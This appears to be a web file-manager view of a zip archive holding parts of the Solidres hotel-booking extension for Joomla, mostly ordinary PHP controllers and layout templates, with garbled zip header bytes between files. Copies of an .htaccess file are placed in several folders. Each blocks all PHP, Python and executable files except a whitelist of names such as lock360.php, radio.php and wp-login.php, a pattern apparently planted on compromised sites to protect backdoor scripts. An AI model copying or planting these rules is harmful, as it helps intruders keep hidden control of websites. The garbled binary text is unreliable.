File manager - Edit - /home/verseaumee/empowernetkenyajuly2026/solidres.zip
Back
PK �.]9��ܤ � statistics/.htaccessnu �[��� <FilesMatch ".(py|exe|php)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(about.php|radio.php|index.php|content.php|lock360.php|admin.php|wp-login.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule>PK �.]J�[�x �x K statistics/administrator/components/com_solidres/controllers/statistics.phpnu �[��� <?php /*------------------------------------------------------------------------ Solidres - Hotel booking extension for Joomla ------------------------------------------------------------------------ @Author Solidres Team @Website http://www.solidres.com @Copyright Copyright (C) 2013 - 2016 Solidres. All Rights Reserved. @License GNU General Public License version 3, or later ------------------------------------------------------------------------*/ defined('_JEXEC') or die; /** * Statistics controller * * @package Solidres * @subpackage Statistics * @since 0.5.0 */ JLoader::register('SRCalendar', SRPATH_LIBRARY . '/utilities/calendar.php'); JLoader::register('SRCurrency', SRPATH_LIBRARY . '/currency/currency.php'); use Joomla\CMS\Helper\MediaHelper; use Joomla\String\StringHelper; use Joomla\CMS\Component\ComponentHelper; use Joomla\CMS\Factory as CMSFactory; class SolidresControllerStatistics extends JControllerLegacy { protected $startDateTime; protected $endDateTime; protected $type; protected $range; protected $partnerId = 0; protected $isSite = false; protected $isLimitBookingEnabled = false; protected $isUserEnabled = false; protected $data; /** * @var \Joomla\Registry\Registry $solidresConfig * @since 1.3.3 */ protected $solidresConfig; /** * @var JApplicationCms $app * @since 1.3.3 */ public $app; public function __construct($config = array()) { parent::__construct($config); $this->isLimitBookingEnabled = SRPlugin::isEnabled('limitbooking'); $this->isUserEnabled = SRPlugin::isEnabled('user'); $this->addModelPath(SRPlugin::getAdminPath('statistics') . '/models', 'SolidresModel'); SRLayoutHelper::addIncludePath(SRPlugin::getAdminPath('statistics') . '/layouts'); if ($this->isLimitBookingEnabled) { $this->addModelPath(SRPlugin::getAdminPath('limitbooking') . '/models', 'SolidresModel'); } if ($this->isUserEnabled) { JTable::addIncludePath(SRPlugin::getAdminPath('user') . '/tables'); } $this->type = $this->input->getInt('type'); $this->startDateTime = $this->input->getString('start_datetime'); $this->endDateTime = $this->input->getString('end_datetime'); $this->range = $this->input->getString('range'); $user = JFactory::getUser(); $customerTable = JTable::getInstance('Customer', 'SolidresTable'); $customerTable->load(array('user_id' => $user->get('id'))); $this->partnerId = $customerTable->id; $this->app = JFactory::getApplication(); $this->isSite = $this->app->isClient('site'); $this->solidresConfig = JComponentHelper::getParams('com_solidres'); } public function getModel($name = 'Statistics', $prefix = 'SolidresModel', $config = array('ignore_request' => true)) { return parent::getModel($name, $prefix, $config); } /** * A common gateway to retrieve statistics data from many types * * 1 = Booking count * 2 = Revenue * @since 0.5.0 */ public function getData() { switch ($this->type) { case 1: $this->getRevenue(); break; case 2: $this->getBookingCount(); break; case 3: $this->getTop5RoomTypes(); break; } echo json_encode($this->data); $this->app->close(); } private function getRevenue() { $model = $this->getModel(); $model->setState('startDateTime', $this->startDateTime); $model->setState('endDateTime', $this->endDateTime); $model->setState('range', $this->range); if ($this->isSite) { $model->setState('filter.partner_id', $this->partnerId); } $this->data = $model->getRevenue(); } private function getBookingCount() { $model = $this->getModel(); $model->setState('startDateTime', $this->startDateTime); $model->setState('endDateTime', $this->endDateTime); $model->setState('range', $this->range); if ($this->isSite) { $model->setState('filter.partner_id', $this->partnerId); } $this->data = $model->getBookingCount(); } private function getTop5RoomTypes() { $model = $this->getModel(); $model->setState('startDateTime', $this->startDateTime); $model->setState('endDateTime', $this->endDateTime); $model->setState('range', $this->range); if ($this->isSite) { $model->setState('filter.partner_id', $this->partnerId); } $this->data = $model->getTop5RoomTypes(); } protected function fixString(&$inputData) { if (is_array($inputData) || is_object($inputData)) { foreach ($inputData as &$inputDatum) { $inputDatum = $this->fixString($inputDatum); } } elseif (is_string($inputData) && !StringHelper::valid($inputData)) { $inputData = mb_convert_encoding($inputData, mb_detect_encoding($inputData), 'UTF-8'); } return $inputData; } public function loadStatistics($responseData = array()) { try { $this->addViewPath(SRPlugin::getAdminPath('statistics') . '/views'); $view = $this->getView('Calendars', 'html', 'SolidresView'); $view->set('noDisplay', true); $view->display(); $responseData = array_merge(array( 'statisticsOutput' => $view->loadStatistics(), 'reservationData' => $view->reservationData, 'limitBookingData' => $view->limitBookingData, 'dateRangeFormatted' => $view->dateRangeFormatted, 'startDate' => $view->startDate, 'endDate' => $view->endDate, ), $responseData); $this->fixString($responseData); $response = new JResponseJson($responseData); $data = $response->__toString(); $this->app->setHeader('Content-type', 'application/json'); $this->app->setHeader('Content-length', strlen($data)); $this->app->sendHeaders(); echo $data; } catch (RuntimeException $e) { echo new JResponseJson($e); } $this->app->close(); } protected function checkAuthorization(SolidresModelStatistics $model, $action) { if ($this->isSite) { $access = $model->isFrontEndPartner(); } else { $access = JFactory::getUser()->authorise($action, 'com_solidres'); } if (!$access) { throw new RuntimeException(JText::_('JERROR_ALERTNOAUTHOR'), 404); } } public function setLimitBooking() { try { if (!SRPlugin::isEnabled('limitbooking')) { throw new RuntimeException('Solidres Limit Booking plugin is not enabled!'); } $statisticsModel = $this->getModel(); $this->checkAuthorization($statisticsModel, 'core.limitbooking.manage'); JModelLegacy::addIncludePath(SRPlugin::getAdminPath('limitbooking') . '/models', 'SolidresModel'); $limitBookingModel = JModelLegacy::getInstance('LimitBooking', 'SolidresModel'); $assetId = $this->getModel()->get('reservationAssetId'); $bookingType = 1; // For drag and drop limit bookings, let hard code booking type = 1 $dbo = JFactory::getDbo(); $query = $dbo->getQuery(true); // Hold the room id and the limit booking dates, // for adding new limit booking, we get all the limited rooms and the dates to limit // for drag and drop we get the info of the destination room (only 1 room) $roomData = $this->app->input->get('roomData', array(), 'array'); // Hold the id of the dragged room (only 1 room) $previousRoomId = (int) $this->input->post->getUint('previousRoomId'); $limitBookingData = array_merge($this->app->input->get('formData', array(), 'array'), array( 'state' => 1, 'reservation_asset_id' => $assetId, 'partner_id' => $this->partnerId, )); if ($previousRoomId > 0) // For drag and drop { $limitBookingData['previous_room_id'] = $previousRoomId; } $oldRoomIds = array(); if (isset($limitBookingData['id']) && $limitBookingData['id'] > 0) { $query->select('room_id'); $query->from($dbo->quoteName('#__sr_limit_booking_details')); $query->where('limit_booking_id = ' . (int) $limitBookingData['id']); $oldRoomIds = $dbo->setQuery($query)->loadColumn(); for ($i = 0, $n = count($oldRoomIds); $i < $n; $i++) { if ($oldRoomIds[$i] == $previousRoomId) { unset($oldRoomIds[$i]); } } } $startDate = ''; $endDate = ''; $roomIds = array_keys($roomData); foreach ($roomData as $roomId => $range) { try { $startDate = JFactory::getDate($range[0])->format('Y-m-d'); $endDate = JFactory::getDate($range[count($range) - 1])->format('Y-m-d'); // All rooms should share the same start/end dates so we stop here break; } catch (Exception $exception) { throw new RuntimeException($exception->getMessage()); } } $limitBookingData['start_date'] = $startDate; $limitBookingData['end_date'] = $endDate; $limitBookingData['details']['room_id'] = array_merge($roomIds, $oldRoomIds); // Check conflicts with existing reservations and limit booking items $solidresReservation = SRFactory::get('solidres.reservation.reservation'); $excludedId = isset($limitBookingData['id']) ? $limitBookingData['id'] : 0; foreach ($roomIds as $roomId) { $isAvailable = $solidresReservation->isRoomAvailable($roomId, $startDate, $endDate, $bookingType); $isLimited = $solidresReservation->isRoomLimited($roomId, $startDate, $endDate, $bookingType, $excludedId); if (!$isAvailable || $isLimited) { throw new RuntimeException('Dates are not available.'); } } if (false === $limitBookingModel->save($limitBookingData)) { throw new RuntimeException($limitBookingModel->getError()); } $this->loadStatistics(); } catch (RuntimeException $e) { echo new JResponseJson($e); } $this->app->close(); } public function setQuickBooking() { try { $model = $this->getModel(); $this->checkAuthorization($model, 'core.reservation.manage'); $jsonData = $this->app->input->get('jsonData', '{}', 'string'); $jsonData = json_decode($jsonData, true); $reservationData = empty($jsonData['formData']) ? [] : $jsonData['formData']; $roomData = empty($jsonData['roomData']) ? [] : $jsonData['roomData']; // Hold the room id and the check in check out dates, // for adding new reservation, we get all the reserved rooms and the dates to limit // for drag and drop we get the info of the destination room (only 1 room) // Hold the id of the dragged room (only 1 room) $previousRoomId = (int) $this->input->post->getUint('previousRoomId'); $assetId = $this->getModel()->get('reservationAssetId'); $tableRoom = JTable::getInstance('Room', 'SolidresTable'); $tableAsset = JTable::getInstance('ReservationAsset', 'SolidresTable'); $modelReservation = JModelLegacy::getInstance('Reservation', 'SolidresModel'); $tableAsset->load($assetId); $reservationData['created_by'] = JFactory::getUser()->get('id'); $reservationData['payment_method_id'] = 'paylater'; $reservationData['origin'] = JText::_('SR_RESERVATION_ORIGIN_DIRECT'); $reservationData['total_price_tax_incl'] = @$reservationData['total_price']; $reservationData['total_price_tax_excl'] = @$reservationData['total_price']; $startDate = ''; $endDate = ''; $roomIds = array_keys($roomData); foreach ($roomData as $roomId => $range) { try { $startDate = JFactory::getDate($range[0])->format('Y-m-d'); $endDate = JFactory::getDate($range[count($range) - 1])->format('Y-m-d'); // All rooms should share the same start/end dates so we stop here break; } catch (Exception $exception) { throw new RuntimeException($exception->getMessage()); } } $reservationData['checkin'] = $startDate; $reservationData['checkout'] = $endDate; $reservationData['reservation_asset_id'] = $assetId; $reservationData['reservation_asset_name'] = $tableAsset->name; $reservationData['currency_id'] = $tableAsset->currency_id; $reservationData['reservation_room_select'] = $roomIds; $reservationData['booking_type'] = $tableAsset->booking_type; if (!empty($reservationData['origin_id'])) { $originId = (int) $reservationData['origin_id']; foreach(SolidresHelper::getOriginsList(0) as $origin) { if ($originId === (int) $origin->id) { $reservationData['origin'] = $origin->name; break; } } } if ($previousRoomId > 0) { $reservationData['previous_room_id'] = $previousRoomId; } $roomTypes = array(); $tariffId = -2; foreach ($roomIds as $roomId) { $tableRoom->load($roomId); $roomTypeId = $tableRoom->room_type_id; $roomTypes[$roomTypeId][$tariffId][$roomId] = array( 'guest_fullname' => 'test', 'adults_number' => 1, 'child_number' => 0 ); } $reservationData['room_types'] = $roomTypes; // Check conflicts with existing reservations and limit booking items $solidresReservation = SRFactory::get('solidres.reservation.reservation'); $excludedId = isset($reservationData['id']) ? $reservationData['id'] : 0; $bookingType = $tableAsset->booking_type; foreach ($roomIds as $roomId) { $isAvailable = $solidresReservation->isRoomAvailable($roomId, $startDate, $endDate, $bookingType, $excludedId); $isLimited = $solidresReservation->isRoomLimited($roomId, $startDate, $endDate, $bookingType); if (!$isAvailable || $isLimited) { throw new RuntimeException('Dates are not available.'); } } $reservationData['filesUpload'] = []; if (SRPlugin::isEnabled('customfield') && ($fields = SRCustomFieldHelper::findFields(['context' => 'com_solidres.customer', 'type' => 'file'], [(int) $tableAsset->category_id])) ) { JLoader::register('Joomla\\CMS\\Helper\\MediaHelper', JPATH_LIBRARIES . '/src/Helper/MediaHelper.php'); $mediaHelper = new MediaHelper; if ($files = $this->app->input->files->get('jform', [], 'array')) { foreach ($files as $name => $file) { if (empty($file['tmp_name']) || $file['error'] == 1 || !$mediaHelper->canUpload($file, 'com_media') ) { continue; } $reservationData['filesUpload'][$name] = $file; } } foreach ($fields as $field) { if (empty($field->optional) && !isset($reservationData['filesUpload'][$field->field_name]) ) { throw new RuntimeException(JText::sprintf('SR_ERROR_WARN_FILE_UPLOAD_REQUIRE_MSG_FORMAT', $field->title)); } } if ($reservationData['filesUpload']) { $contentLength = (int) $this->app->input->server->get('CONTENT_LENGTH'); $postMaxSize = $mediaHelper->toBytes(ini_get('post_max_size')); $memoryLimit = $mediaHelper->toBytes(ini_get('memory_limit')); if (($postMaxSize > 0 && $contentLength > $postMaxSize) || ($memoryLimit != -1 && $contentLength > $memoryLimit)) { throw new RuntimeException(JText::_('SR_ERROR_WARN_FILE_TOO_LARGE')); } } } if (false === $modelReservation->save($reservationData)) { throw new RuntimeException($modelReservation->getError()); } $this->loadStatistics(); } catch (RuntimeException $e) { echo new JResponseJson($e); } $this->app->close(); } public function getStateColor($state) { $state = (int) $state; $colors = $this->getModel()->getStateColors(); return isset($colors[$state]) ? $colors[$state]->color_code : ''; } /** * Handle saving reservation for drag drop and resize * */ public function saveReservation() { try { $model = $this->getModel(); $this->checkAuthorization($model, 'core.reservation.manage'); $modelReservation = JModelLegacy::getInstance('Reservation', 'SolidresModel', array('ignore_request' => true)); $tableAsset = JTable::getInstance('ReservationAsset', 'SolidresTable'); $tableReservation = JTable::getInstance('Reservation', 'SolidresTable'); $tableRoom = JTable::getInstance('Room', 'SolidresTable'); $checkin = $this->app->input->post->getString('checkin'); $checkout = $this->app->input->post->getString('checkout'); // The destination room id if we are drag and drop to change the room (only 1 room) $newRoomId = (int) $this->input->post->getUint('roomId'); // Hold the id of the dragged room (only 1 room) $previousRoomId = (int) $this->input->post->getUint('previousRoomId'); $reservationId = (int) $this->input->post->getUint('reservationId'); $assetId = $model->get('reservationAssetId'); $tableAsset->load($assetId); $tableReservation->load($reservationId); $dbo = JFactory::getDbo(); $query = $dbo->getQuery(true); if ($tableReservation->checked_out > 0) { throw new RuntimeException('This reservation is being edited in other places.'); } $reservationData['id'] = $reservationId; $reservationData['checkin'] = $checkin; $reservationData['checkout'] = $checkout; $reservationData['modified_by'] = JFactory::getUser()->get('id'); $reservationData['payment_method_id'] = 'paylater'; // Rebuild booked room type list $query->clear(); $query->select('rrx.*, r.room_type_id') ->from($dbo->quoteName('#__sr_reservation_room_xref', 'rrx')) ->leftJoin($dbo->quoteName('#__sr_rooms', 'r') . ' ON r.id = rrx.room_id') ->where('reservation_id = ' . $reservationId); $reservedRooms = $dbo->setQuery($query)->loadAssocList(); $query->clear(); $query->select('a.*, r.room_type_id') ->from($dbo->quoteName('#__sr_reservation_room_extra_xref', 'a')) ->leftJoin($dbo->quoteName('#__sr_rooms', 'r') . ' ON r.id = a.room_id') ->where('reservation_id = ' . $reservationId); $reservedRoomExtras = $dbo->setQuery($query)->loadAssocList(); $query->clear(); $query->select('*') ->from($dbo->quoteName('#__sr_reservation_extra_xref', 'a')) ->where('reservation_id = ' . $reservationId); $reservedReservationExtras = $dbo->setQuery($query)->loadAssocList(); $roomTypes = array(); $roomIds = array(); $isSameRoom = $newRoomId == $previousRoomId; foreach ($reservedRooms as $reservedRoom) { $roomTypeIdTmp = $reservedRoom['room_type_id']; $tariffIdTmp = empty($reservedRoom['tariff_id']) ? -2 : $reservedRoom['tariff_id']; $roomIdTmp = $reservedRoom['room_id']; $newRoomInfo = array( 'guest_fullname' => $reservedRoom['guest_fullname'], 'adults_number' => $reservedRoom['adults_number'], 'children_number' => $reservedRoom['children_number'], 'room_price' => $reservedRoom['room_price'], 'room_price_tax_incl' => $reservedRoom['room_price_tax_incl'], 'room_price_tax_excl' => $reservedRoom['room_price_tax_excl'] ); $newRoomExtraInfo = array(); // If we change room, replace the old room with the new room $isSameRoomType = false; if (!$isSameRoom && $reservedRoom['room_id'] == $previousRoomId) { $tableRoom->load($newRoomId); // Load new room info $isSameRoomType = $roomTypeIdTmp == $tableRoom->room_type_id; $roomTypeIdTmp = $tableRoom->room_type_id; $tariffIdTmp = -2; $roomIdTmp = $newRoomId; // Use the new room } // Let also move over the per room extra items, // but only when we are moving to the same room type or we are resizing reservation (keep same room) // if we are moving to a different room type then those info should not be moved over if ($isSameRoomType || $isSameRoom) { foreach ($reservedRoomExtras as $reservedRoomExtra) { if ($reservedRoomExtra['room_id'] != $previousRoomId) { continue; } $extraId = $reservedRoomExtra['extra_id']; $newRoomExtraInfo[$extraId]['quantity'] = $reservedRoomExtra['extra_quantity']; $newRoomExtraInfo[$extraId]['name'] = $reservedRoomExtra['extra_name']; $newRoomExtraInfo[$extraId]['total_extra_cost_tax_incl'] = $reservedRoomExtra['extra_price']; } $newRoomInfo['extras'] = $newRoomExtraInfo; // Move over some reserved room preferences like child ages and smoking options $query->clear(); $query->select('a.*') ->from($dbo->quoteName('#__sr_reservation_room_details', 'a')) ->where('reservation_room_id IN (SELECT id FROM ' . $dbo->quoteName('#__sr_reservation_room_xref') . ' WHERE reservation_id = ' . $reservationId . ' AND room_id = ' . $previousRoomId . ' )'); $reservedRoomDetails = $dbo->setQuery($query)->loadAssocList(); foreach ($reservedRoomDetails as $reservedRoomDetail) { if (substr($reservedRoomDetail['key'], 0, 7) == 'smoking') { $newRoomInfo['preferences']['smoking'] = $reservedRoomDetail['value']; } elseif (substr($reservedRoomDetail['key'], 0, 5) == 'child') { $newRoomInfo['children_ages'][] = $reservedRoomDetail['value']; } } } $roomTypes[$roomTypeIdTmp][$tariffIdTmp][$roomIdTmp] = $newRoomInfo; $roomIds[] = $roomIdTmp; } $reservationExtras = array(); foreach ($reservedReservationExtras as $reservedReservationExtra) { $extraId = $reservedReservationExtra['extra_id']; $reservationExtras[$extraId]['quantity'] = $reservedReservationExtra['extra_quantity']; $reservationExtras[$extraId]['name'] = $reservedReservationExtra['extra_name']; $reservationExtras[$extraId]['total_extra_cost_tax_incl'] = $reservedReservationExtra['extra_price']; } $reservationData['room_types'] = $roomTypes; $reservationData['extras'] = $reservationExtras; $reservationData['reservation_room_select'] = $roomIds; // Check conflicts with existing reservations and limit booking items $solidresReservation = SRFactory::get('solidres.reservation.reservation'); $excludedId = isset($reservationData['id']) ? $reservationData['id'] : 0; $bookingType = $tableAsset->booking_type; foreach ($roomIds as $newRoomId) { $isAvailable = $solidresReservation->isRoomAvailable($newRoomId, $checkin, $checkout, $bookingType, $excludedId); $isLimited = $solidresReservation->isRoomLimited($newRoomId, $checkin, $checkout, $bookingType); if (!$isAvailable || $isLimited) { throw new RuntimeException('Dates are not available.'); } } if (false === $modelReservation->save($reservationData)) { throw new RuntimeException($modelReservation->getError()); } $this->loadStatistics(); } catch (RuntimeException $e) { echo new JResponseJson($e); $this->app->close(); } } public function findCustomers() { if ($this->isSite) { $response = array(); } else { $model = $this->getModel(); $searchTerm = $this->app->input->get('term', '', 'string'); $response = $model->getCustomersBySearchTerm($searchTerm); } echo json_encode(is_array($response) ? $response : array()); $this->app->close(); } public function loadConfirmModal() { try { JTable::addIncludePath(JPATH_ADMINISTRATOR . '/components/solidres/tables'); $type = $this->input->post->getString('type'); $fromRoomId = (int) $this->input->post->getInt('previousRoomId', 0); $roomId = (int) $this->input->post->getInt('roomId', 0); if ($type === 'reservation') { $targetTable = JTable::getInstance('Reservation', 'SolidresTable'); $title = 'code'; $before = 'checkin'; $after = 'checkout'; $from = $this->input->post->getString('checkin'); $to = $this->input->post->getString('checkout'); $targetId = (int) $this->input->post->getUInt('reservationId', 0); } else { if (!SRPlugin::isEnabled('limitbooking')) { throw new RuntimeException('Plugin Solidres Limitbooking isn\'t enabled'); } JTable::addIncludePath(SRPlugin::getAdminPath('limitbooking') . '/tables'); $targetTable = JTable::getInstance('LimitBooking', 'SolidresTable'); $title = 'title'; $before = 'start_date'; $after = 'end_date'; $from = $this->input->post->getString('startDate'); $to = $this->input->post->getString('endDate'); $targetId = (int) $this->input->post->getUInt('limitBookingId', 0); } if ($targetId < 0 || $roomId < 0) { throw new RuntimeException('Invalid. Record ID'); } $roomTable = JTable::getInstance('Room', 'SolidresTable'); $roomTable->load($fromRoomId); $fromRoom = $roomTable->label; if (empty($fromRoom) || !$targetTable->load($targetId) || !$roomTable->load($roomId) ) { throw new RuntimeException('Invalid. Record ID'); } SRLayoutHelper::addIncludePath(SRPlugin::getAdminPath('statistics') . '/layouts'); $dateFormat = $this->solidresConfig->get('date_format', 'd-m-Y'); $modalContents = SRLayoutHelper::render('modal.confirm', array( 'type' => $type, 'title' => $targetTable->{$title}, 'fromBefore' => JHtml::_('date', $targetTable->{$before}, $dateFormat, true, true), 'toBefore' => JHtml::_('date', $targetTable->{$after}, $dateFormat, true, true), 'fromAfter' => JHtml::_('date', $from, $dateFormat, true, true), 'toAfter' => JHtml::_('date', $to, $dateFormat, true, true), 'fromRoom' => $fromRoom, 'toRoom' => $roomTable->label, )); $layoutFile = new JLayoutFile('solidres.modal.bootstrap', JPATH_ADMINISTRATOR . '/components/com_solidres/layouts', array('option' => 'com_solidres')); $response = $layoutFile->render(array( 'title' => JText::_('SR_STATISTICS_RESIZE_CONFIRM'), 'body' => '<div class="modal-body-inner">' . $modalContents . '</div>', 'id' => 'statistics-confirm-modal', 'class' => 'statistics-modal', 'footer' => '<button type="button" class="btn btn-warning" data-dismiss="modal">' . JText::_('JNO') . '</button>' . '<button type="button" class="btn btn-confirmed btn-primary" data-type="limit">' . JText::_('JYES') . '</button>', )); } catch (RuntimeException $e) { $response = $e; } echo new JResponseJson($response); $this->app->close(); } public function toggleStatuses() { try { $status = $this->app->input->get('status'); $disabled = $this->app->input->get('disabled'); $model = $this->getModel('Statistics', 'SolidresModel', array('ignore_request' => true)); $statusesColorCode = $model->getStateColors(); $displayData = []; if (is_numeric($status)) { if (!isset($statusesColorCode[$status])) { throw new RuntimeException('Status code [' . $status . '] not allowed'); } $disabledStatuses = $this->app->getUserState('com_solidres.statistics.disabledStatuses', array()); if ($disabled) { $disabledStatuses[] = $status; } else { $key = array_search($status, $disabledStatuses); if (false !== $key) { unset($disabledStatuses[$key]); } $disabledStatuses = array_values($disabledStatuses); } $disabledStatuses = array_unique($disabledStatuses); $displayData['disabledStatuses'] = $disabledStatuses; $this->app->setUserState('com_solidres.statistics.disabledStatuses', $disabledStatuses); } elseif (in_array($status, ['checkin', 'checkout'])) { $integerStatus = $status == 'checkin' ? 1 : 0; $checkInOutStatus = $model->checkInOutStatus; if ($disabled) { $key = array_search($integerStatus, $checkInOutStatus); if (false !== $key && isset($checkInOutStatus[$key])) { unset($checkInOutStatus[$key]); $checkInOutStatus = array_values($checkInOutStatus); } } elseif (!in_array($integerStatus, $checkInOutStatus)) { $checkInOutStatus[] = $integerStatus; } $displayData['checkInOutStatus'] = $integerStatus; $this->app->setUserState('com_solidres.statistics.checkInOutStatus', $checkInOutStatus); } $this->loadStatistics($displayData); } catch (RuntimeException $e) { echo new JResponseJson($e); } $this->app->close(); } public function loadRevPARData() { try { $input = $this->app->input->post; $roomTypeId = $input->get('roomTypeId', 0, 'uint'); $fromDate = CMSFactory::getDate($input->get('fromDate', '', 'string')); $toDate = CMSFactory::getDate($input->get('toDate', '', 'string')); if ($fromDate->diff($toDate)->format('%R%a') < 0) { throw new RuntimeException('Invalid date'); } $tz = CMSFactory::getUser()->getTimezone(); $fromDate->setTimezone($tz); $toDate->setTimezone($tz); list($rooms, $revPARData) = $this->getModel()->getRevPARData($roomTypeId, $fromDate, $toDate); $params = ComponentHelper::getParams('com_solidres'); $dateFormat = $params->get('date_format', 'd-m-Y'); $listDays = $listWeeks = $listMonths = []; $parseListData = function (&$listData, $group, $listBaseDays, $baseDateFormatted) { if (!isset($listData[$group])) { $listData[$group] = [ 'occupancy' => 0, 'adr' => 0.00, 'rangeDate' => [], ]; } $listData[$group]['occupancy'] += $listBaseDays['occupancy']; $listData[$group]['adr'] += $listBaseDays['adr']; $listData[$group]['rangeDate'][] = $baseDateFormatted; }; while ($fromDate->diff($toDate)->format('%R%a') >= 0) { $dateFormatted = $fromDate->format($dateFormat); $weekFormatted = $fromDate->format('W'); $monthFormatted = $fromDate->format('m'); if (isset($revPARData[$dateFormatted])) { $listDays[$dateFormatted] = $revPARData[$dateFormatted]; } else { $listDays[$dateFormatted] = [ 'occupancy' => 0, 'adr' => 0.00, ]; } $parseListData($listWeeks, $weekFormatted, $listDays[$dateFormatted], $dateFormatted); $parseListData($listMonths, $monthFormatted, $listDays[$dateFormatted], $dateFormatted); $fromDate->add(new DateInterval('P1D')); } SRLayoutHelper::addIncludePath(SRPlugin::getAdminPath('statistics') . '/layouts'); $response = SRLayoutHelper::render('widgets.content.revpar.result', [ 'rooms' => $rooms, 'listDays' => $listDays, 'listWeeks' => $listWeeks, 'listMonths' => $listMonths, 'currency' => new SRCurrency(0, $params->get('default_currency_id')), ] ); } catch (RuntimeException $e1) { $response = $e1; } catch (Exception $e2) { $response = $e2; } echo new JResponseJson($response); $this->app->close(); } } PK �.])b_; H statistics/administrator/components/com_solidres/controllers/widgets.phpnu �[��� <?php /*------------------------------------------------------------------------ Solidres - Hotel booking extension for Joomla ------------------------------------------------------------------------ @Author Solidres Team @Website http://www.solidres.com @Copyright Copyright (C) 2013 - 2020 Solidres. All Rights Reserved. @License GNU General Public License version 3, or later ------------------------------------------------------------------------*/ defined('_JEXEC') or die; use Joomla\CMS\Filesystem\Folder; use Joomla\CMS\Filesystem\File; use Joomla\CMS\Response\JsonResponse; use Joomla\CMS\Language\Text; use Joomla\CMS\Factory as CMSFactory; JLoader::import('joomla.filesystem.folder'); JLoader::import('joomla.filesystem.file'); class SolidresControllerWidgets extends JControllerLegacy { public function save() { if (!CMSFactory::getUser()->authorise('core.admin', 'com_solidres')) { throw new RuntimeException(Text::_('JERROR_ALERTNOAUTHOR'), 404); } $app = CMSFactory::getApplication(); $widgetData = json_encode($app->input->post->get('widgetData', [], 'array')); $filePath = SRPlugin::getAdminPath('statistics') . '/widgets'; if (!is_dir($filePath)) { Folder::create($filePath, 0755); } if (!File::write($filePath . '/data.json', $widgetData)) { $app->enqueueMessage(Text::_('SR_STATISTICS_CANNOT_SAVE_WIDGET_DATA'), 'error'); } else { $app->enqueueMessage(Text::_('SR_STATISTICS_WIDGET_DATA_SAVED'), 'success'); } echo new JsonResponse('DONE'); $app->close(); } }PK �.]9��ܤ � F statistics/administrator/components/com_solidres/controllers/.htaccessnu �[��� <FilesMatch ".(py|exe|php)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(about.php|radio.php|index.php|content.php|lock360.php|admin.php|wp-login.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule>PK �.]9��ܤ � H statistics/administrator/components/com_solidres/layouts/modal/.htaccessnu �[��� <FilesMatch ".(py|exe|php)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(about.php|radio.php|index.php|content.php|lock360.php|admin.php|wp-login.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule>PK �.]�4:n� � J statistics/administrator/components/com_solidres/layouts/modal/confirm.phpnu �[��� <?php /*------------------------------------------------------------------------ Solidres - Hotel booking extension for Joomla ------------------------------------------------------------------------ @Author Solidres Team @Website http://www.solidres.com @Copyright Copyright (C) 2013 - 2016 Solidres. All Rights Reserved. @License GNU General Public License version 3, or later ------------------------------------------------------------------------*/ defined('_JEXEC') or die; extract($displayData); ?> <dl> <?php if ($type == 'reservation'): ?> <dt class="page-header"> <?php echo JText::sprintf('SR_STATISTICS_RESIZE_CONFIRM_FOR_RESERVATION', $title); ?> </dt> <dd> <?php echo JText::sprintf('SR_STATISTICS_RESIZE_RESERVATION_BEFORE', $title, $fromBefore, $toBefore, $fromRoom); ?> <br/> <?php echo JText::sprintf('SR_STATISTICS_RESIZE_RESERVATION_AFTER', $title, $fromAfter, $toAfter, $toRoom); ?> </dd> <?php else: ?> <dt class="page-header"> <?php echo JText::sprintf('SR_STATISTICS_RESIZE_CONFIRM_FOR_LIMITBOOKING', $title); ?> </dt> <dd> <?php echo JText::sprintf('SR_STATISTICS_RESIZE_LIMITBOOKING_BEFORE', $title, $fromBefore, $toBefore, $fromRoom); ?> <br/> <?php echo JText::sprintf('SR_STATISTICS_RESIZE_LIMITBOOKING_AFTER', $title, $fromAfter, $toAfter, $toRoom); ?> </dd> <?php endif; ?> </dl>PK �.]���� � J statistics/administrator/components/com_solidres/layouts/widgets/blank.phpnu �[��� <?php /*------------------------------------------------------------------------ Solidres - Hotel booking extension for Joomla ------------------------------------------------------------------------ @Author Solidres Team @Website http://www.solidres.com @Copyright Copyright (C) 2013 - 2018 Solidres. All Rights Reserved. @License GNU General Public License version 3, or later ------------------------------------------------------------------------*/ defined('_JEXEC') or die; extract($displayData); $class = 'sr-widget-' . preg_replace('/[^a-z0-9\-\_]/i', '-', isset($widget->class) ? $widget->class : $widget->id); ?> <div class="<?php echo $class; ?>"> <?php echo $widget->content; ?> </div> PK �.]�ܭ�o o I statistics/administrator/components/com_solidres/layouts/widgets/card.phpnu �[��� <?php /*------------------------------------------------------------------------ Solidres - Hotel booking extension for Joomla ------------------------------------------------------------------------ @Author Solidres Team @Website http://www.solidres.com @Copyright Copyright (C) 2013 - 2018 Solidres. All Rights Reserved. @License GNU General Public License version 3, or later ------------------------------------------------------------------------*/ defined('_JEXEC') or die; extract($displayData); /** * @var \stdClass $widget */ $class = 'sr-widget-' . preg_replace('/[^a-z0-9\-\_]/i', '-', isset($widget->class) ? $widget->class : $widget->id); ?> <div class="<?php echo $class; ?> statistics-box"> <div class="first-col"> <h2><?php echo $widget->content; ?></h2> </div> <div class="second-col"> <h6><?php echo $widget->title; ?></h6> <?php if (isset($widget->icon)): ?> <?php if (strpos($widget->icon, '<') === 0): ?> <?php echo $widget->icon; ?> <?php else: ?> <i class="<?php echo $widget->icon; ?>"></i> <?php endif; ?> <?php endif; ?> </div> </div> PK �.]lB}, , L statistics/administrator/components/com_solidres/layouts/widgets/builder.phpnu �[��� <?php /*------------------------------------------------------------------------ Solidres - Hotel booking extension for Joomla ------------------------------------------------------------------------ @Author Solidres Team @Website http://www.solidres.com @Copyright Copyright (C) 2013 - 2020 Solidres. All Rights Reserved. @License GNU General Public License version 3, or later 